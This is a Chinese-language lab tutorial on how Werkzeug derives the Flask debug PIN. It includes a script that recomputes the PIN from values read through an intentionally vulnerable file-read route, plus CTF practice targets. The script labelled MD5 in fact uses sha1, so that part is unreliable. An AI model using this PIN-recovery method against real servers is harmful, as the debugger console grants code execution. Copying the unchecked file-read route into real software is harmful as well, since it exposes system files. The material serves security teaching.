深入浅出Flask PIN

最近搞SSTI,发现有的开发开了debug,由此想到了PIN,但一直没有对这个点做一个深入剖析,今天就完整的整理Flask Debug PIN码的生成原理与安全问题。
PIN是什么?
PIN是 Werkzeug(它是 Flask 的依赖项之一)提供的额外安全措施,以防止在不知道 PIN 的情况下访问调试器。您可以使用浏览器中的调试器引脚来启动交互式调试器。
请注意,无论如何,您都不应该在生产环境中使用调试模式,因为错误的堆栈跟踪可能会揭示代码的多个方面。
调试器 PIN 只是一个附加的安全层,以防您无意中在生产应用程序中打开调试模式,从而使攻击者难以访问调试器。
——来自StackOverFlow回答
werkzeug不同版本以及python不同版本都会影响PIN码的生成
但是PIN码并不是随机生成,当我们重复运行同一程序时,生成的PIN一样,PIN码生成满足一定的生成算法
探寻PIN码生成算法
笔者环境
•Python 3.10.2
•Flask 2.0.3
•PyCharm 2021.3.3 (Professional Edition)
•Windows 10 专业版 21H2
•Docker Desktop 4.7.0
先写一个简单的Flask测试程序


from flask import Flaskapp = Flask(__name__)

@app.route("/")def hello():    return '合天网安实验室-实践型网络安全在线学习平台;真实环境,在线实操学网络安全。'

if __name__ == "__main__":    app.run(host="0.0.0.0", port=8080, debug=True)


运行,控制台状态如下


浏览器如下则成功


接下来开始调试程序,顺藤摸瓜找到生成PIN码的函数
PIN码是werkzeug的策略,先找到flask中导入werkzeug的部分

调试
在run.app行下断点,点击调试


点击步入


转到了flask/app.py,直接Ctrl+F搜索werkzeug


发现程序从werkzeug导入了run_simple模块,而且try部分有run app的参数
我们直接按住ctrl点击run_simple进去看看
此时进入了seving.py,找到了负责Debug的部分,PIN码是在debug状态下才有的,那这个部分很有可能存有PIN码生成部分,进去看看


此时进入了__init__.py,经过一番审计,先来看一看pin函数


主要是get_pin_and_cookie_name函数,进去看看

def get_pin_and_cookie_name(    app: "WSGIApplication",) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:    """Given an application object this returns a semi-stable 9 digit pin    code and a random key.  The hope is that this is stable between    restarts to not make debugging particularly frustrating.  If the pin    was forcefully disabled this returns `None`.
   Second item in the resulting tuple is the cookie name for remembering.    """    pin = os.environ.get("WERKZEUG_DEBUG_PIN")    rv = None    num = None
   # Pin was explicitly disabled    if pin == "off":        return None, None
   # Pin was provided explicitly    if pin is not None and pin.replace("-", "").isdigit():        # If there are separators in the pin, return it directly        if "-" in pin:            rv = pin        else:            num = pin
   modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)    username: t.Optional[str]
   try:        # getuser imports the pwd module, which does not exist in Google        # App Engine. It may also raise a KeyError if the UID does not        # have a username, such as in Docker.        username = getpass.getuser()    except (ImportError, KeyError):        username = None
   mod = sys.modules.get(modname)
   # This information only exists to make the cookie unique on the    # computer, not as a security feature.    probably_public_bits = [        username,        modname,        getattr(app, "__name__", type(app).__name__),        getattr(mod, "__file__", None),    ]
   # This information is here to make it harder for an attacker to    # guess the cookie name.  They are unlikely to be contained anywhere    # within the unauthenticated debug page.    private_bits = [str(uuid.getnode()), get_machine_id()]
   h = hashlib.sha1()    for bit in chain(probably_public_bits, private_bits):        if not bit:            continue        if isinstance(bit, str):            bit = bit.encode("utf-8")        h.update(bit)    h.update(b"cookiesalt")
   cookie_name = f"__wzd{h.hexdigest()[:20]}"
   # If we need to generate a pin we salt it a bit more so that we don't    # end up with the same value and generate out 9 digits    if num is None:        h.update(b"pinsalt")        num = f"{int(h.hexdigest(), 16):09d}"[:9]
   # Format the pincode in groups of digits for easier remembering if    # we don't have a result yet.    if rv is None:        for group_size in 5, 4, 3:            if len(num) % group_size == 0:                rv = "-".join(                    num[x : x + group_size].rjust(group_size, "0")                    for x in range(0, len(num), group_size)                )                break        else:            rv = num
   return rv, cookie_name


返回的rv就是PIN码,但这个函数核心是将列表里的值hash,我们不需要去读懂这段代码,只需要将列表里的值填上直接运行代码就行。


生成要素:
username
通过getpass.getuser()读取,通过文件读取/etc/passwd
modname
通过getattr(mod,“file”,None)读取,默认值为flask.app
appname
通过getattr(app,“name”,type(app).name)读取,默认值为Flask
moddir
当前网络的mac地址的十进制数,通过getattr(mod,“file”,None)读取实际应用中通过报错读取
uuidnode
通过uuid.getnode()读取,通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算
machine_id
每一个机器都会有自已唯一的id,machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
当这6个值我们可以获取到时,就可以推算出生成的PIN码

生成算法
修改一下就是PIN生成算法
import hashlibfrom itertools import chain
probably_public_bits = [    'root',  # username    'flask.app',  # modname    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))    '/usr/local/lib/python3.7/site-packages/flask/app.py'  # getattr(mod, '__file__', None),]
# This information is here to make it harder for an attacker to# guess the cookie name.  They are unlikely to be contained anywhere# within the unauthenticated debug page.private_bits = [    '2485377957890',  # str(uuid.getnode()),  /sys/class/net/ens33/address    # Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup    '861c92e8075982bcac4a021de9795f6e3291673c8c872ca3936bcaa8a071948b']
h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits):    if not bit:        continue    if isinstance(bit, str):        bit = bit.encode("utf-8")    h.update(bit)h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't# end up with the same value and generate out 9 digitsnum = Noneif num is None:    h.update(b"pinsalt")    num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if# we don't have a result yet.rv = Noneif rv is None:    for group_size in 5, 4, 3:        if len(num) % group_size == 0:            rv = "-".join(                num[x: x + group_size].rjust(group_size, "0")                for x in range(0, len(num), group_size)            )            break    else:        rv = num
print(rv)
然后这里还有一个点,python不同版本的算法区别

不同版本算法区别
3.6采用MD5加密,3.8采用sha1加密,所以脚本有所不同
3.6 MD5
import hashlibfrom itertools import chain
probably_public_bits = [    'root',  # username    'flask.app',  # modname    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))    '/usr/local/lib/python3.7/site-packages/flask/app.py'  # getattr(mod, '__file__', None),]
# This information is here to make it harder for an attacker to# guess the cookie name.  They are unlikely to be contained anywhere# within the unauthenticated debug page.private_bits = [    '2485377957890',  # str(uuid.getnode()),  /sys/class/net/ens33/address    # Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup    '861c92e8075982bcac4a021de9795f6e3291673c8c872ca3936bcaa8a071948b']
h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits):    if not bit:        continue    if isinstance(bit, str):        bit = bit.encode("utf-8")    h.update(bit)h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't# end up with the same value and generate out 9 digitsnum = Noneif num is None:    h.update(b"pinsalt")    num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if# we don't have a result yet.rv = Noneif rv is None:    for group_size in 5, 4, 3:        if len(num) % group_size == 0:            rv = "-".join(                num[x: x + group_size].rjust(group_size, "0")                for x in range(0, len(num), group_size)            )            break    else:        rv = num
print(rv)


其实最稳妥的方法就是自己调试,把自己版本的生成PIN部分提取出来,把num和rv改成None,直接print rv就行
docker测试
本地docker在Windows上
我们将上面的测试代码修改为下,加入文件读取功能,并且return 0当我们传值错误可出发debug模式


from flask import Flask, requestapp = Flask(__name__)

@app.route("/")def hello():    return '合天网安实验室-实践型网络安全在线学习平台;真实环境,在线实操学网络安全。'

@app.route("/file")def file():    filename = request.args.get('filename')    try:        with open(filename, 'r') as f:            return f.read()    except:        return 0

if __name__ == "__main__":    app.run(host="0.0.0.0", port=9000, debug=True)


回到我们的环境,模块路径通过传入错误文件名触发报错可得到,主要就是machine-id,其他部分直接出的就不用看了,docker环境只需要后俩



拼接起来,代入程序,直接运行


与环境里的一致


如果大家嫌开环境麻烦这里推荐两个线上靶场,这俩都是计算PIN

•[GYCTF2020]FlaskApp——BUUCTF

•web801——CTFshow

笔者技术有限,本文有错误之处,请联系笔者,会立即改正!


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